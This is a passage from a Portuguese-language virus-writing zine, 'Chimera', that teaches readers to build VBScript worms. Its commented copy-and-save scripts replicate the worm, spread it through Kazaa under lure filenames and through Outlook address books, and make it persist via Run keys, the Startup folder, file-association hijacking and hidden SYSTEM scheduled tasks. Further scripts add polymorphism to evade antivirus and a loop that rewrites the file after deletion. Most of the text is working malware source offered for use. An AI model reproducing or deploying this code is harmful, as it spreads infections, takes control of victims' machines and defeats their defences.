veja baixo um mapa do mundo, onde mostra uma infeco global de um vrus.

Figura 10
Imagem dos paises infectados pelo Worm Kama Sutra, mais de 500 mil PCs
Infectados. Fonte terra/tecnologia

Chimera

16

- Fazendo o cdigo se replicar


Agora ser apresentado a funo principal para estar fazendo o cdigo
se replicar, para isso necessrio estar usando a funo GetFile que
retorna um arquivo determinado, o seja: ele liga a varivel a um arquivo
escolhido, assim esta varivel como se fosse o prprio arquivo ao qual
foi ligada, assim se torna possvel fazer uma copia do arquivo para
qualquer lugar do sistema.
Sntese do GetFile()
Set Varivel = FSO.GetFile ("caminho_do_arquivo/arquivo.exeteno")
Este exemplo de um cdigo que se copia para o C:\ (raiz) do
sistema quando executado, copie o cdigo a seguir e salve como REPLIC1.vbs:
REM
DIM FSO, CHM
Set FSO = CreateObject ("Scripting.FileSystemObject")
Set CHM = FSO.GetFile(WScript.ScriptFullName)
CHM.Copy ("C:\chimera.vbs")
CHM.Copy ("C:\BrasCow.vbs")
CHM.Copy ("C:\Kdex.vbs")

Cdigo comentado:
DIM FSO, CHM
Declarao das variaveis FSO e CHM
Set FSO = CreateObject ("Scripting.FileSystemObject")
Liga a varivel FSO ao objeto FileSystemObject
Set CHM = FSO.GetFile ("Wscript.ScriptFullName")
Liga a varivel CHM ao prprio arquivo do cdigo que esta em execuo,
usando a funo Wscript.ScriptFullName, que indica o caminho completo para
o script que est sendo executado.
CHM.Copy ("C:\chimera.vbs")
Copia a varivel CHM usando a funo Copy, a varialve CHM contem o
contedo do prprio cdigo, a copia feita para C:\ (raiz) com o nome de
chimera.vbs

CHM.Copy ("C:\BrasCow.vbs")
Faz a mesma coisa que a linha acima, com a unica diferena do nome que
aqui BrasCow

CHM.Copy ("C:\Kdex.vbs")
Faz a mesma coisa que a linha acima, com a unica diferena do nome que
aqui Kdex

Chimera

17

- Replicao por P2P


Abaixo apresentado um cdigo que tem por finalidade realizar uma
replicao por rede P2P (Peer To Peer), que usada para troca de arquivos,
algo muito comum hoje em dia na internet, neste exemplo usado o programa
Kazaa, (www.kazaa.com), por ser um dos softwares P2P mais usado.
Neste cdigo o vrus faz uma copia de si mesmo para dentro da
pasta padro do Kazaa (My Shared Folder), nesta pasta ficam guardados todos
os arquivos baixados e os arquivos que so compartilhados para como os
outros usurios da rede P2P; copie o cdigo a seguir e salve como P2P.vbs:
REM KAZAA
DIM FSO, CHM, PATH, WSH
Set FSO = CreateObject ("Scripting.FileSystemObject")
Set WSH = CreateObject ("Wscript.Shell")
PATH = WSH.RegRead ("HKCU\Software\Kazaa\LocalContent\DownloadDir")
Set CHM = FSO.GetFile ("Wscript.ScriptFullName")
On error resume next
CHM.Copy (PATH & "\Emulador PS2.exe.vbs")
CHM.Copy (PATH & "\Emulador PS2.zip.VBS")
CHM.Copy (PATH & "\crackNaruto.exe.vbs")
CHM.Copy (PATH & "\SilviaSaintDoubleAnalAction.jpg.vbs")
CHM.Copy (PATH & "\CrackNaruto.zip.vbs")
CHM.Copy (PATH & "\Juliana.jpg.vbs")

Cdigo comentado:
comentada somente a parte mais importante do cdigo, pois as outras
partes j foram comentadas diversas vezes em outros tpicos deste ZINE.
Na replicao do vrus dentro da pasta do Kazaa utilize nomes sugestivos,
que possam ser procurados por outros usurios, como nome de cracks, filmes
porns etc.
PATH = WSH.RegRead ("HKCU\Software\Kazaa\LocalContent\DownloadDir")
Varivel PATH recebe o contedo da chave DownloadDir, pois DownloadDir
possui o caminho no sistema onde esta localizado a pasta com o
compartilhamento do Kazaa.
Set CHM = FSO.GetFile ("Wscript.ScriptFullName")
Liga a varivel CHM ao prprio arquivo do cdigo que esta em execuo,
usando a funo Wscript.ScriptFullName, que indica o caminho completo para
o script que est sendo executado.
On error resume next
Continua a execuo do cdigo mesmo que seja encontrado algum erro.
CHM.Copy (PATH & "\Emulador PS2.exe.vbs")
Copia a varivel CHM usando a funo Copy, a varialve CHM contem o
contedo do prprio cdigo, a copia feita para o caminho quem a varivel
PACH contem e salva o arquivo com o nome de Emulador PS2.exe.vbs
CHM.Copy (PATH & "\Emulador PS2.zip.VBS")
Faz mesma coisa que o cdigo acima, com a nica diferena de salvar o
arquivo com o nome de PS2.zip.VBS
CHM.Copy (PATH & "\CrackNaruto.exe.vbs")
Faz mesma coisa que o cdigo acima, com a nica diferena de salvar o
arquivo com o nome de CrackNaruto.exe. VBS

Chimera

18

- Replicao por e-mail


Um dos meios mais usados para replicao vrus pela internet por
uso do servio de e-mail, vrus como o: Melissa e Love Letter,
utilizaram deste tipo de servio e foram grandes causadores de danos a
computadores em uma escala mundial; para estar usando este meio de
replicao em um cdigo, a maquina a qual o cdigo malicioso vai se
replicar por meio do e-mail, necessrio ter instalado o programa
Microsoft - Outlook. Abaixo um cdigo para estar sendo estudado e analisado
pelo VX; copie o cdigo a seguir e salve como Mail.vbs:
Dim
Set
Set
For

AddressIndex, AddressBook, ListIndex, MailAddress, Outlook, MAPI


Outlook = CreateObject("Outlook.Application")
MAPI = Outlook.GetNameSpace("MAPI")
ListIndex = 1 to MAPI.AddressList.Count
Set AddressBook = MAPI.AddressLists(ListIndex)
For AddressIndex = 1 to AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(AddressIndex)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add(MailAddress)
Mail.Subject = "FW : " & Left(CopyTosend,len(CopyTosend)-4)
Mail.Body = "Chimera Hello Wordrs"
Mail.Attachments.Add ("C:\Chimera.xls.vbs")
Mail.send
Next
Next
Set Outlook = Nothing
Set MAPI = Nothing

Cdigo comentado:
Dim AddressIndex, AddressBook, ListIndex, MailAddress, Outlook, MAPI
Declarao de todas as variveis
Set OUTLOOK = CreateObject("Outlook.Application")
Liga a varivel OUTLOOK ao objeto Outlook.
Set MAPI = OUTLOOK.GetNameSpace("MAPI")
Acessa o perfil do usurio do Outlook guardando na varivel MAPI.
For ListIndex = 1 to MAPI.AddressList.Count
Inicia varivel ListIndex comea primeira listas de endereo e termina a
ltima.
Set MAILIST = PERF.AddressLists(ListIndex)
Liga a varivel MAILIST a lista de endereos do perfil do usurio do
Outlook.
For AddressIndex = 1 to AddressBook.AddressEntries.Count
Inicia a varivel AddressIndex em 1 e finaliza com o ltimo endereo da
lista.
MailAddress = AddressBook.AddressEntries(AddressIndex)
A varivel MailAddress recebe um e-mail da lista de endereos
Set Mail = Outlook.CreateItem(0)
Se a chave no existir, um novo e-mail criado

Chimera

19

Mail.Recipients.Add(MailAddress)
O destinatario adicionado pela varivel MailAddress
Mail.Subject = "FW : " & Left(CopyTosend,len(CopyTosend)-4)
Assunto do e-mail a ser enviado
Mail.Body = "Chimera, Hello Word..rs"
Mensagem do e-mail a ser enviado.
Mail.Attachments.Add ("C:\Chimera.xls.vbs")
Anexa o arquivo ao e-mail.
Mail.send
Envia o e-mail.
Next
Finaliza o looping, ou melhor, volta para o inicio do looping para uma
verificao, seno continua a prxima instruo.
Next
Finaliza o looping, ou melhor, volta para o inicio do looping para uma
verificao, seno continua a prxima instruo.
Set Outlook = Nothing
Limpa a varivel da memria
Set MAPI = Nothing
Limpa a varivel da memria

Chimera

20

Tcnicas de Ativao
Tcnica de ativao so modos de se ativar um programa, vrus ou
Worm, ou seja, fazer ele rodar automaticamente sem que algum necessite
executa-lo manualmente.
As maneiras abordadas aqui sero :
- Iniciar com o Windows por meio de um valor no registro;
- Iniciar com o Windows por meio da pasta iniciar;
- Iniciar ao abrir arquivo de um outro programa;
- Criando uma tarefa no Windows para iniciar;

- Iniciando junto ao Windows por meio de um valor no registro


Como muitos sabem a maioria dos programas que inicializam com
windows, inicializam pelo registro do mesmo.O registro do windows tem uma
seo onde ficam armazenadas as listas de alguns programas que devem ser
inicializados com ele.
O que temos que fazer ento apenas criar um cdigo que escreva no
registro do windows para executar o nosso worm.As chaves onde ele pode ser
escrito so:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
Quase no h diferenas nessas chaves, exceto pela chave RunOnce que
ir inicializar o worm apenas uma vez e depois excluir o valor do registro.
Ento vamos h um cdigo de exemplo usando um valor de nome
Winini e a chave
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run], contendo
como dado o caminho do worm; Copie o cdigo a seguir e salve como
IniWinValReg.vbs:
Dim file, regedit
set regedit = CreateObject("Wscript.Shell")
file = Wscript.ScriptFullName
regedit.RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Winini", file
Explicando o cdigo a cima :
Na primeira linha feira a declarao das variveis file e regedit.
J na segunda linha feita a ligao do objeto Wscript.Shell com a
varivel regedit.
Na terceira linha, usado o comando Wscript.ScriptFullName que tem
como objetivo retornar o caminho e nome do script sendo executado, a
resposta armazenada na varivel file.
E finalmente na quarta linha que colocado o nome do nosso vrus
no registro.O que est depois de Run, como no est terminando com uma
barra \ ento um valor (coloque um nome legal) e o que vem depois da
virgula o local e o nome do arquivo a ser executado.
Para entender mais de como mexer no registro, leia o tutorial de VBS
Chimera.

Chimera

21

- Iniciar junto ao Windows por meio da pasta iniciar do Windows


Outro modo de inicializar programas no windows colocando eles na
pasta iniciar do windows, porm ao fazer isso enfrentamos um problema, pois
a pasta iniciar, ou melhor a pasta que contem os programas a serem
inicializados, nem sempre a mesma para todos os computadores.
Para evitar este tipo de problema devemos buscar no registro o
caminho da pasta iniciar, e a ento copiamos o worm para a pasta indicada.
Veja um cdigo de exemplo; Copie o cdigo a seguir e salve como
IniWinPasIniWin.vbs:
Dim file, iniciar, FSO
set regedit = CreateObject("Wscript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
file = Wscript.ScriptFullName
iniciar = regedit.RegRead
("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders\Startup")
FSO.CopyFile file , iniciar+"\"
Explicando o cdigo a cima:
Na primeira linha feira a declarao das variveis. J na terceira
linha feita a ligao do objeto FileSystemObject com a varivel FSO.A
varivel FSO a responsvel pela copia do arquivo, como por todo trabalho
feito utilizando arquivos.
Na quarta linha, usado o comando Wscript.ScriptFullName que tem
como objetivo retornar o caminho e nome do script sendo executado, a
resposta armazenada na varivel file.
Na quinta (e sexta) linha pego o caminho da pasta iniciar do
windows e colocado na varivel iniciar.
Na stima linha feita a copia do arquivo para a pastar iniciar, por
meio de FSO.Copy <origem> , <destino>.Para ver uma explicao melhor sobre
este comando consulte o Apndice.
Dica: Uma variao deste mtodo seria fazer igual faz o netbus (se
no me engano), ao invs de copiar o arquivo para a pastar iniciar, voc
copia o arquivo para outra pasta qualquer e a faz virar a pasta iniciar.
Para tanto voc deve apenas mudar o caminho da pasta iniciar para a
pasta que quiser no registro do windows.A chave como voc j sabe :
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
e o valor Startup.

Chimera

22

- Iniciando ao abrir arquivo de um outro programa


Quando voc clica duas vezes em um arquivo(.doc, .txt, .pdf), seja
qual for a extenso dele, o windows busca no registro para identificar qual
programa que serve para abrir este tipo de arquivo.
A idia aqui entrar no registro e alterar o programa que o windows
deve executar para abrir o arquivo da extenso especifica.Quero dizer que
entraremos no registro e mudaremos para que ao invs dele abrir os .txt com
o notepad, ele abra com o nosso script(worm).
A chave que contm a informao para abrir um .txt com o notepad :
[HKEY_CLASSES_ROOT\txtfile\shell\open\command] e o valor o (Padro), na
parte referente aos dados, voc ir encontrar o executvel que deve ser
usado para abrir o .txt, que nesse caso ser C:\Windows\Notepad.exe.
Olhe um exemplo de cdigo que pode ser aproveitado para outras
extenses, bastando apenas algumas modificaes; Copie o cdigo a seguir e
salve como IniAbrArqProg.vbs:
Dim file, Argumentos, wsh
set regedit = CreateObject("Wscript.Shell")
file = Wscript.ScriptFullName + " %1"
regedit.RegWrite "HKCR\txtfile\shell\open\command\", file
set Wsh = CreateObject("wscript.Shell")
set Argumentos = wscript.Arguments
If (Argumentos.Count >= 1) Then
Opera = Argumentos.Item(0)
wsh.run("notepad.exe "& Opera)
end if
No irei comentar o cdigo todo, pois vocs j devem estar
familiarizados com ele.
file = Wscript.ScriptFullName + " %1"
Esta linha joga na varivel file o nome e o caminho completo do
script acrescido de espao e %1.Este %1 servir para pegar o nome do
arquivo que ele deseja abrir, para que possamos abrir este arquivo com o
programa certo via cdigo, evitando assim sermos descobertos.
set Wsh = CreateObject("wscript.Shell")
A varivel Wsh ligada, ou melhor faz referncia, ao objeto
Wscript.Shell, que nos permite executar arquivos e programas do windows.
set Argumentos = wscript.Arguments
Nesta linha a varivel Argumentos recebe todos os argumentos passado
para o script na hora que ele foi executado, ou seja, recebe o nome do
arquivo que ele devera abrir.Este o motivo do uso do %1.
If (Argumentos.Count >= 1) Then
Verifica se houve passagem de argumentos na chamada do script, caso
seja positivo (i.e se houve passagem de argumentos) executa as prximas
duas linhas, que abrem o bloco de notas com o arquivo especificado.
Opera = Argumentos.Item(0)
A varivel Opera recebe o valor de arguments.item(0), que no caso
seria o primeiro argumento passado, geralmente o nome do arquivo a ser
aberto.
wsh.run("notepad.exe "& Opera)
Como houve passagem de parmetro, ento aqui executado o bloco de
notas para abrir o arquivo passado como o parmetro, o arquivo que deveria
ser aberto normalmente.
end if
Finaliza o bloco IF...Then.

Chimera

23

- Criando uma tarefa no Windows para iniciar;


Utilizando o programa SCHTASKS possvel estar criando tarefas para
ser executadas futuramente pelo sistema, dependendo da configurao
estabelecida estas tarefas podem ser executadas quando o sistema
executado, ou por escolha de alguma data ou hora determinada.
O schtasks um arquivo nativo do Windows NT, que possibilita criar
tarefas por linhas de comando pelo command, mesmo sendo um simples cdigo
em VBS podemos torn-lo muito preciso para executar suas aes, mas a
utilizao deste recurso no se limita apenas ao uso da linguagem de
scripting VBS.
Agendando arquivos para execuo
Para estar criando uma ou varias tarefas vamos usar o programa
SCHTASKS que programa nativo do Windows XP, para estar fazendo uso dele,
necessrio estar abrindo uma janela do command do Windows.

Figura 11

Figura 12
Abaixo esto relacionados s principais funes do SCHTASKS
Schtasks
Schtasks
Schtasks
Schtasks
Schtasks
Schtasks
Schtasks

/Run
/End
/Create
/Delete
/Query
/Change
/?

Executa uma tarefa agendada


Para a execuo de uma tarefa agendada
Cria um tarefa
Deleta uma tarefa
Exibe as tarefas agendada no sistema
Altera o programa a ser executado ou senha etc
Ajuda do programa

Agora apresentada a forma de estar usando o SCHTASKS com a funo e os


parmetros.
SCHTASKS /Create [/S system][/U username][/P password][/RU username]
[/RP senha][/SC agendamento][/MO modificador][/D dia][/I idletime]
[/TN taskname][/TR taskrun][/ST starttime][/M months][/SD startdate][/ED enddate]

Chimera

24

Abaixo exibida uma tabela com todos os parmetros usado na funo Create.
Valores

Definio

/S

system

Especifica o sistema remoto para conexo. Se for omitido, o parmetro


do sistema assumir como padro a hora do sistema local.

/U

username

Especifica o contexto de usurio em que o comando deve ser executado.

/P

password

Especifica a senha para o contexto de usurio.

/RU

username

Especifica a conta do usurio (contexto do usurio) em que a tarefa


executada. Para a conta do sistema, os valores vlidos so "", "NT
AUTHORITY\SYSTEM" ou "SYSTEM".

/RP

password

Especifica a senha para o usurio. Para solicitar a senha, o valor


deve ser "*" ou nenhum. A senha no tem efeito para a conta do
sistema.

/SC

schedule

Especifica a freqncia de agenda mento. Tipos vlidos de agenda


mento: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART,
ONLOGON, ONIDLE.

/MO

modifier

Restringe o tipo de agenda mento para permitir melhor controle.


Os valores vlidos so listados na seo "Modificadores" abaixo.

/D

days

Especifica o dia da semana para a execuo da tarefa. Valores


vlidos: SEG, TER, QUA, QUI, SEX, SB, DOM e para Agenda mento do
tipo MONTHLY de 1 a 31 (dias do ms).

/M

months

Especifica o(s) ms (meses) do ano. Assume como padro o primeiro dia


do ms. Valores vlidos: JAN, FEV, MAR, ABR, MAI, JUN, JUL, AGO, SET,
OUT, NOV, DEZ.

/I

idletime

Especifica durante quanto tempo ocioso aguardar antes de executar uma


tarefa agendada ONIDLE. Intervalo vlido: 1 - 999 minutos.

/TN

taskname

Especifica o nome que identifica de forma exclusiva esta tarefa


agendada.

/TR

taskrun

Especifica o caminho e o nome do arquivo do programa a ser executado


por esta tarefa agendada. Exemplo: C:\windows\system32\calc.exe

/ST

starttime

Especifica a hora de incio para executar a tarefa. O formato da hora


HH:MM:SS (horrio de 24 horas), como, por exemplo, 14:30:00 para
2:30 PM.

/SD

startdate

Especifica a primeira data em que a tarefa ser executada. O formato


"dd/mm/yyyy".

/ED

enddate

Especifica a ltima data em que a tarefa deve ser executada. O


formato "dd/mm/yyyy".

Conhecendo as funes os parmetros e a forma de estar usando o


SCHTASKS, j possvel estar criando tarefas para serem executadas etc.
Ex:
schtasks /Create /SC ONSTART /TN BraCow /TR C:\chimera.txt /RP * /RU System
Neste exemplo criado um tarefa (schtasks /Create), que vai ser
executada toda vez que o sistema for iniciado (SC ONSTART) com o nome (TN
BrasCow) que vai executar o arquivo (TR C:\chimera.txt), onde no foi
determinando nenhuma senha (RP *)e foi estabelecido o usurio do sistema
(RU System) para esta tarefa.
Aps a execuo criado uma tarefa dentro da pasta Tarefas agendadas
que fica em C:\WINDOWS\Tasks, como mostra a figura abaixo

Chimera

25

Figura 13
Exemplo de uma tarefa criada
Cdigo em VBS que cria tarefas agendadas Copie o cdigo a seguir e
salve como AGENDAVIRUS.vbs:
REM
DIM WSH, FSO, COPY
Set WSH = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
Set COPY = FSO.GetFile(WScript.ScriptFullName)
COPY.copy("C:\chimera.vbs")
WSH.Run ("command /c schtasks /create /SC ONSTART /TN Chimera /TR
C:\chimera.vbs /RP * /RU System"), VbHide
WSH.Run ("command /c attrib +S +H C:\chimera.vbs"), VbHide
WSH.Run ("command /c attrib +S +H C:\WINDOWS\Tasks\Chimera.job"), vbHide

Cdigo comentado
DIM WSH, FSO, COPY
Declarao das variveis
Set WSH = CreateObject ("Wscript.Shell")
Aqui ligada a varivel WSH com o objeto Wscript.Shell, que tem por
objetivo trabalhar com executar arquivos, ler o registro etc.
set FSO = CreateObject ("Scripting.FileSystemObject")
Aqui ligada a varivel a1 com o objeto filesystem, que tem por
objetivo trabalhar com arquivos (leitura, criao, escrita, etc.)
Set COPY = FSO.GetFile(WScript.ScriptFullName)
Liga a varivel COPY ao FSO.GetFile, que tem a funo de retorna um
arquivo, neste caso sendo ele mesmo (o prprio arquivo), utilizando a
funo WScript.ScriptFullName.
COPY.copy("C:\chimera.vbs")
Copia a varivel COPY, que seria o prprio arquivo em execuo para C:\
utilizando a funo .copy como o nome de chimera.vbs
WSH.Run ("command /c schtasks /create /SC ONSTART /TN Chimera /TR
C:\chimera.vbs /RP * /RU System"), VbHide
executado o command com o parmetro /c e o arquivo schtasks para a
criao da tarefa usando os parmetros /create /SC ONSTART /TN Chimera /TR
C:\chimera.vbs /RP * /RU System e por ultimo usado a funo VbHide para
deixar toda a execuo oculta.
WSH.Run ("command /c attrib +S +H C:\chimera.vbs"), VbHide
Aqui executado o command com o parmetro /c e o arquivo attrib com os
parmetros +S +H C:\chimera.vbs que deixa o arquivo chimera.vbs com as
propriedades oculto e arquivo de sistema, e por ultimo usado a funo
VbHide para deixar toda a execuo oculta.
WSH.Run ("command /c attrib +S +H C:\WINDOWS\Tasks\Chimera.job"), vbHide
Aqui executado novamente o command como na linha anterior, a nica
mudana que o arquivo a ficar oculto e como arquivo de sistema o
chimera.job.

Chimera

26

Tcnicas de Polimorfismo
Polimorfismo viral a capacidade de um vrus alterar seu cdigo aps
cada execuo ou infeco.A utilidade do polimorfismo dificultar que o
vrus seja descoberto pelo antivrus.
De acordo com (http://student.dei.uc.pt/~palex/artigo.htm), o
primeiro vrus polimrfico foi criado em 1989, pelo programado blgaro Dark
Avenger.

- Cdigo Kefi's tiny vbs poly [ktvp], extrado da RRLF


comentado por BrasCow e Kdex

O cdigo a seguir, foi retirado do pessoal da RRLF.


O que o cdigo faz o seguinte: ele abre o arquivo em vbs, l o
arquivo completo, ento ele busca as variveis j indicadas anteriormente e
modifica-as. Logo em seguida ele sobre-escreve o arquivo novamente,
salvando-o.
Para facilitar a compreenso, veja o cdigo comentado; Copie o cdigo
a seguir e salve como Polimorfismo.vbs:
set a1 = createobject("scripting.filesystemobject")
a2 = a1.opentextfile(wscript.scriptfullname,1).readall()
for each a3 in array("a1","a2","a3","a4","a5")
randomize
for a4 = 1 to 3 + int( 7 * rnd)
a5 = a5 & chr(97 + int(26 * rnd))
next
a2 = replace(a2,a3,a5)
a5 = ""
next
a1.opentextfile(wscript.scriptfullname,2).write(a2)
' Kefi's tiny vbs poly [ktvp]

Comeando a entender o cdigo:


set a1 = createobject("scripting.filesystemobject")
Aqui ligada a varivel a1 com o objeto filesystem, que tem por
objetivo trabalhar com arquivos(leitura, criao, escrita, etc.)
a2 = a1.opentextfile(wscript.scriptfullname,1).readall()
Coloca em a2 todo o contedo do arquivo aberto, com opentextfile,
nesse caso o prprio arquivo contendo o cdigo.
Wscript.fullname retorna o nome e o caminho do nosso arquivo em vbs
que est rodando.
for each a3 in array("a1","a2","a3","a4","a5")
Aqui a varivel a3 recebe os valores "a1","a2"...,"a5" que esto
dentro numa matriz, que foi criada com o array("a1","a2","a3","a4","a5").
Randomize
uma funo que da inicio a uma rotina randmica, aleatria
utilizando o (rnd).
for a4 = 1 to 3 + int( 7 * rnd)
Inicia um loopin com a varivel a4 em 1 e repete um total de 3 + o
valor gerado aleatrio escolhido pela funo randomize de 1 a 7.

Chimera

27

a5 = a5 & chr(97 + int(26 * rnd)


A varivel a5 recebe o valor dela mesmo concatenado & com outra
varivel gerada pela funo randomize que vai de 1 a 26, somada mais 97.
Depois da soma este valor retornado como um valor da tabela ASCII, assim
ele sempre vai retorna um valor da tabela de a at z.
next
Encerra o looping, ou melhor volta ao inicio do looping para sua
prxima execuo.
a2 = replace(a2,a3,a5)
A varivel a2 possui todo o cdigo fonte, a3 o texto procurado para
ser alterado dentro do cdigo e a5 o texto pelo qual a3 ser alterado.
a5 = ""
Todo o contedo de a5 apagado
next
Encerra o looping, ou melhor volta ao inicio do looping para sua
prxima execuo.
a1.opentextfile(wscript.scriptfullname,2).write(a2)
Abre o cdigo para ser reescrito.E ento escreve o novo cdigo(o
cdigo j alterado).

Chimera

28

Tcnicas de Residncia
Deixar o cdigo ativo na maquina um dos atos a ser estudados
aqui, pois assim o cdigo pode se proteger e prevenir aes futuras das
partes de AV e FW deixando o vrus ou Worm sem nenhuma ao; pensando
nisso, este tpico foi criado, no cdigo abaixo mostrado como evitar que
o arquivo do cdigo seja removido da maquina; caso o arquivo seja deletado
criado um novo arquivo novamente em seguida caso o cdigo esteja em
execuo na memria da maquina; Copie o cdigo a seguir e salve como
RESIDENT.vbs:
Dim fso, virsrc, arq
set fso = CreateObject("Scripting.FileSystemObject")
set arq = fso.OpenTextFile(Wscript.ScriptFullName,1,false)
virsrc = arq.ReadAll
arq.close
while(1=1)
set arq = fso.CreateTextFile(Wscript.ScriptFullName,true)
arq.write virsrc
arq.close
Wscript.Sleep 4000
Wend
Execute o
execuo delete
mesmo arquivo
segurana maior

cdigo aps ter copiado, agora para fazer um teste, aps a


o arquivo do RESIDENT.vbs, note que depois de 4 segundos o
criado instantaneamente, com esta rotina permite da uma
para o seu vrus ou worm que for desenvolvido.

Comeando a entender o cdigo:


Dim fso, virsrc, arq
feita a declarao das variaveis que sero utlizidas no cdigo.
set fso = CreateObject("Scripting.FileSystemObject")
Liga a varivel fso o obejto FileSystemObject, para poder trabalhar
com arquivos.
set arq = fso.OpenTextFile(Wscript.ScriptFullName,1,false)
Abre um arquivo(o que tem o codigo do virus) para leitura apenas e
liga-o ao obejto arq, ou seja todas as operaes com o arquivo do virus,
ser feita atravs da variavel obejto arq.
virsrc = arq.ReadAll
O cdigo do vrus lido inteiro e colocado dentro da varivel
virsrc.
arq.close
O arquivo contendo o virus finalmente fechado.
while(1=1)
Enquanto 1 = 1 faa(o truque do looping infinito) o seguinte at
encontrar WEND.
set arq = fso.CreateTextFile(Wscript.ScriptFullName,true)
Cria um arquivo texto para escrita, no mesmo diretorio e com o mesmo
nome do nosso virus.Liga o novo arquivo a variavel arq.
arq.write virsrc
Escreve o codigo viral dentro do arquivo criado.

Chimera

29

arq.close
O novo arquivo, ou na verdade o arquivo com o vrus fechado
Wscript.Sleep 4000
Essa linha pausa a execuo do cdigo por 4 segundos, importante
para que o usuario tenha a sensao de poder deletar o virus.
Wend
Finaliza o bloco de repetio While.

Chimera

30